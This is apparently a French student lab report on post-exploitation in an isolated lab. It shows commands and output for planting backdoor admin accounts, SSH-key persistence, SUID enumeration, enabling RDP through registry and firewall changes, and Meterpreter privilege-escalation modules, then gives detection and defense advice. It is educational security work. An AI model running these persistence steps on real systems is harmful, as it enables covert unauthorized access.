COMPTE RENDU DU TP CYBERSECUITE

TP 3.4 — Post-exploitation : maintien d'accès et élévation de privilèges

1. Introduction

1.1 Objectif du TP

Dans les TPs précédents, nous avons réussi à compromettre des machines Linux et Windows, obtenant ainsi un accès initial. Cependant, dans un contexte réel, un attaquant ne s'arrête jamais à ce stade. Une fois à l'intérieur d'un système, son objectif évolue :

- Conserver son accès même si la vulnérabilité initiale est corrigée ;
- Obtenir des privilèges plus élevés (élévation de privilèges) ;
- Étendre son contrôle sur la machine et le réseau.

Ce TP a pour but de comprendre comment un attaquant transforme un accès initial en contrôle durable du système. C'est précisément cette phase que les équipes de sécurité doivent surveiller en priorité en entreprise.

1.2 Contexte du laboratoire

Nous partons de la situation suivante, acquise lors des TPs précédents :

- Accès sur Ubuntu (via SSH ou Metasploit) — IP : 192.168.56.10
- Accès sur Windows via une session Meterpreter — IP : 192.168.56.20
- Machine attaquante : Kali Linux — IP : 192.168.56.30

Ces accès correspondent à une compromission initiale, mais ils ne sont pas encore suffisants pour garantir un contrôle total. L'objectif est maintenant de renforcer et pérenniser ces accès.

2. Partie 1 — Maintien d'accès sur Linux

2.1 Vérification de l'identité courante

Une fois connecté à la machine Ubuntu (via SSH ou shell obtenu précédemment), on vérifie d'abord avec quel compte on est connecté :

```
whoami
```

Ensuite pour maintenir un accès même si le compte initial est désactivé ou son mot de passe changé, on crée un nouvel utilisateur discret avec des privilèges élevés :

```
sudo adduser backupadmin
```

On choisit un mot de passe simple pour le test. Ensuite, on ajoute cet utilisateur au groupe sudo :

```
sudo usermod -aG sudo backupadmin
```

On vérifie que le compte est bien membre du groupe sudo :

```
groups backupadmin
```

Si le groupe sudo apparaît dans le résultat, cela confirme que ce compte peut exécuter des commandes administrateur. L'attaquant dispose ainsi d'un accès secondaire qui lui permettra de revenir plus tard, sans utiliser le compte compromis initial.

```
whoami
root
sudo adduser backupadmin
Ajout de l'utilisateur « backupadmin » ...
Ajout du nouveau groupe « backupadmin » (1005) ...
Ajout du nouvel utilisateur « backupadmin » (1005) avec le groupe « backupadmin » ...
Création du répertoire personnel « /home/backupadmin »...
Copie des fichiers depuis « /etc/skel »...
Nouveau mot de passe : 1234
Retapez le nouveau mot de passe : 1234
passwd : le mot de passe a été mis à jour avec succès
Modification des informations relatives à l'utilisateur backupadmin
Entrez la nouvelle valeur ou « Entrée » pour conserver la valeur proposée
        Nom complet []:
        N° de bureau []:
        Téléphone professionnel []:
        Téléphone personnel []:
        Autre []:

Ces informations sont-elles correctes ? [O/n]
o
sh: 10: o: not found

sudo usermod -aG sudo backupadmin
groups backupadmin
backupadmin : backupadmin sudo
```

2.3 Mise en place d'un accès persistant via SSH

Un attaquant préfère généralement utiliser des clés SSH plutôt que des mots de passe, car elles sont plus discrètes et plus difficiles à détecter. Sur Kali, on génère une paire de clés :

```
ssh-keygen
```

On accepte les paramètres par défaut.

```
faustin@fautin-faustin:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/faustin/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/faustin/.ssh/id_rsa
Your public key has been saved in /home/faustin/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:oRxignGNrIeoV2qWyHZGFrYwwk0r2/sBnN6sQAYSa24 faustin@fautin-faustin
The key's randomart image is:
+---[RSA 3072]----+
|+.++             |
|.Xo+o            |
|B==.= . .        |
|O **oo o .       |
|oEoO   o S       |
|*oBo=            |
|.=oo +           |
| .o .            |
|   . .           |
```

Ensuite, on copie la clé publique vers la machine Ubuntu :

```
ssh-copy-id backupadmin@192.168.56.10
```

```
root@fautin-faustin:~# ssh-copy-id backupadmin@192.168.56.10
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host '192.168.56.10 (192.168.56.10)' can't be established.
ECDSA key fingerprint is SHA256:OEm+aYlb55ybqnwIubuXb9CFv2UD6XAIIOwtmbTuTyw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
backupadmin@192.168.56.10's password:

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'backupadmin@192.168.56.10'"
and check to make sure that only the key(s) you wanted were added.
```

On teste la connexion sans mot de passe :

```
ssh backupadmin@192.168.56.10
```

```
root@fautin-faustin:/home/faustin# cd --
root@fautin-faustin:~# ssh 'backupadmin@192.168.56.10'
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

La maintenance de sécurité étendue pour Infrastructure n'est pas activée.

0 mise à jour peut être appliquée immédiatement.

204 additional security updates can be applied with ESM Infra.
Learn more about enabling ESM Infra service for Ubuntu 20.04 at
https://ubuntu.com/20-04

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Apr 27 15:22:45 2026 from 192.168.56.30
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

backupadmin@fautin-faustin:~$
```

Si la connexion fonctionne sans mot de passe, cela confirme qu'un accès persistant est en place. Dans un contexte réel, ce type de technique permet à un attaquant de revenir sur la machine sans dépendre d'un mot de passe.

3. Partie 2 — Observation et élévation de privilèges sur Linux

3.1 Vérification des droits sudo

Un attaquant cherche ensuite à obtenir les droits les plus élevés possibles. On commence par vérifier quelles commandes peuvent être exécutées avec sudo :

```
sudo -l
```

Dans certains cas mal configurés, un utilisateur peut exécuter des commandes sensibles sans mot de passe. Le résultat de cette commande permet d'identifier immédiatement les vecteurs d'escalade de privilèges disponibles.

3.2 Recherche de fichiers SUID

On peut également rechercher des fichiers sensibles avec le bit SUID activé. Ces programmes s'exécutent avec les privilèges de leur propriétaire (souvent root), même si lancés par un utilisateur standard :

```
find / -perm -4000 2>/dev/null
```

L'objectif est de comprendre que le système peut contenir des opportunités d'escalade de privilèges. Certains binaires SUID connus (comme vim, find, bash) peuvent être détournés pour obtenir un shell root.

```
backupadmin@fautin-faustin:~$ find / -perm -4000 2>/dev/null
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/umount
/usr/bin/fusermount
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
backupadmin@fautin-faustin:~$
```

4. Partie 3 — Maintien d'accès sur Windows

Dans cette partie, étant donné que sur le Tp précédent nous n’avons pas pu accéder a meterpreter de windows, nous expliquerons théoriquement sans capture la méthode a suivre pour maintenir l’accès à un compte windows via Meterpreter.

4.1 Vérification du niveau d'accès dans Meterpreter

On travaille maintenant sur la machine Windows, en partant de la session Meterpreter obtenue lors du TP 3.2. Dans Meterpreter, on vérifie d'abord le niveau d'accès actuel :

```
getuid
```

Si les privilèges sont insuffisants, on tente une élévation de privilèges :

```
getsystem
```

Si la commande réussit, on obtient des privilèges SYSTEM — le niveau le plus élevé sur Windows, équivalent à root sur Linux.

4.2 Création d'un utilisateur persistant

Pour maintenir un accès même si la session Meterpreter est perdue, on crée un compte utilisateur directement dans Windows. Depuis Meterpreter, on ouvre un shell Windows :

```
shell
```

On crée un nouvel utilisateur avec un mot de passe :

```
net user supportadmin Password123! /add
```

On ajoute cet utilisateur au groupe Administrateurs locaux :

```
net localgroup administrators supportadmin /add
```

On vérifie que le compte a bien été créé :

```
net user supportadmin
```

Cette manipulation permet de créer un accès permanent au système, même si l'accès initial est perdu. Un attaquant peut désormais se connecter directement à Windows avec ce compte.

4.3 Activation de l'accès distant via RDP

Pour rendre l'accès encore plus discret et confortable, on active le Bureau à distance (RDP) directement depuis le shell Windows. On modifie la clé de registre correspondante :

```
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
```

On autorise ensuite RDP dans le pare-feu Windows :

```
netsh advfirewall firewall set rule group="remote desktop" new
enable=YES
```

À partir de ce moment, un attaquant peut se connecter via RDP avec le compte créé. Cela correspond à une technique très utilisée en entreprise pour maintenir un accès discret et durable, sans nécessiter de malware ou d'outil spécialisé.

5. Partie 4 — Nettoyage et discrétion

5.1 Affichage des sessions actives

Un attaquant expérimenté cherche à éviter d'être détecté. Dans Meterpreter, on peut afficher les sessions actives pour s'assurer qu'aucune trace suspecte n'est visible :

```
sessions
```

L'objectif ici est de comprendre que chaque action laisse des traces, et que la discrétion est un élément clé des attaques réelles. Un analyste SOC surveille précisément ces indicateurs pour détecter une compromission en cours.

5.2 Bonnes pratiques de discrétion utilisées par les attaquants

Pour éviter la détection, les attaquants réels appliquent généralement les techniques suivantes :

- Nommer les comptes backdoor avec des noms anodins (backupadmin, supportadmin, svcuser) ;
- Utiliser des clés SSH plutôt que des mots de passe pour les connexions Linux ;
- Activer RDP au lieu de maintenir des outils Metasploit actifs sur Windows ;
- Effacer les journaux système après chaque action (log tampering) ;
- Opérer pendant les heures creuses pour passer inaperçu dans les alertes.

6. Utilisation avancée des outils

6.1 Commandes Linux avancées

```
sudo -l
```

Liste les commandes que l'utilisateur courant peut exécuter avec sudo, avec ou sans mot de passe.

```
backupadmin@fautin-faustin:~$ sudo -l
[sudo] Mot de passe de backupadmin :
Entrées Defaults correspondant pour backupadmin sur fautin-faustin :
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
L'utilisateur backupadmin peut utiliser les commandes suivantes sur fautin-faustin :
    (ALL : ALL) ALL
```

```
find / -perm -4000 2>/dev/null
```

Recherche tous les binaires avec le bit SUID — vecteurs courants d'escalade de privilèges.

```
cat /etc/sudoers
```

Affiche la configuration sudo complète — utile pour identifier des permissions mal configurées.

```
crontab -l
```

Liste les tâches planifiées de l'utilisateur — un attaquant peut y ajouter une backdoor persistante.

```
root@fautin-faustin:~# crontab -l
no crontab for root
root@fautin-faustin:~#
```

6.2 Commandes Meterpreter avancées

```
run post/multi/recon/local_exploit_suggester
```

Analyse automatiquement le système compromis et propose des exploits locaux pour élever les privilèges.

```
run post/windows/manage/enable_rdp
```

Module Metasploit dédié à l'activation de RDP — plus fiable que la modification manuelle du registre.

```
migrate PID
```

Migre le processus Meterpreter dans un processus légitime (ex. explorer.exe) pour rester discret.

```
run post/multi/manage/shell_to_meterpreter
```

Convertit un shell basique en session Meterpreter complète pour plus de fonctionnalités.

7. Analyse des risques en contexte d'entreprise

7.1 Risques liés au maintien d'accès sur Linux

- Un compte backdoor avec droits sudo peut donner accès à l'ensemble des systèmes Linux du réseau ;
- Une clé SSH non détectée peut rester active des mois, voire des années, sans être remarquée ;
- L'élévation vers root permet d'accéder à des fichiers critiques (/etc/shadow, bases de données) ;
- L'effacement de logs rend la détection forensique très difficile après coup.

7.2 Risques liés au maintien d'accès sur Windows

- Un compte administrateur local non référencé échappe souvent aux audits de comptes ;
- L'activation de RDP ouvre un vecteur d'accès permanent utilisable sans outil spécialisé ;
- Les privilèges SYSTEM permettent de désactiver les antivirus, modifier le démarrage système ;
- La propagation vers d'autres machines Windows du domaine devient triviale (Pass-the-Hash).

8. Recommandations de sécurité

Ce TP démontre que la phase post-exploitation est souvent la plus dangereuse car la plus difficile à détecter. Voici les mesures concrètes pour empêcher ces techniques :

Contre la création de comptes non autorisés :

- Mettre en place une politique d'audit des comptes (surveillance des créations/modifications) ;
- Activer les alertes sur les événements Windows ID 4720 (création de compte) et 4732 (ajout au groupe admin) ;

Contre l'utilisation abusive de SSH :

- Interdire la connexion SSH par clé pour les comptes non autorisés via /etc/ssh/authorized_keys ;
- Surveiller les fichiers ~/.ssh/authorized_keys sur tous les serveurs Linux ;
- Restreindre les connexions SSH par adresse IP source dans le pare-feu.

Contre l'activation non contrôlée de RDP :

- Bloquer le port 3389 (RDP) par défaut au niveau du pare-feu réseau et des pare-feux locaux ;
- Surveiller les modifications du registre Windows liées à Terminal Server (SIEM).

9. Compréhension globale de l'attaque

Ce TP correspond à la phase la plus critique d'une attaque. On a transformé un accès temporaire en accès durable. La compromission ne dépend plus uniquement de la faille initiale, mais surtout de la capacité à exploiter le système après intrusion.

10. Conclusion

Ce TP a permis de comprendre que l'attaque ne s'arrête pas à l'intrusion initiale. Le véritable danger réside dans la capacité d'un attaquant à rester dans le système sans être détecté, en créant des accès secondaires discrets sur Linux (compte sudo + clé SSH) et sur Windows (compte administrateur + RDP activé).

Ces techniques sont simples à mettre en œuvre mais difficiles à détecter sans une surveillance active. Elles illustrent pourquoi la supervision continue (SIEM, EDR, journaux d'audit) est indispensable dans un environnement professionnel : sans elle, une compromission peut rester active pendant des mois sans jamais être remarquée.

Ce TP marque la transition vers la posture défensive : comprendre comment l'attaquant maintient son accès est la première étape pour savoir comment le détecter et l'en expulser efficacement.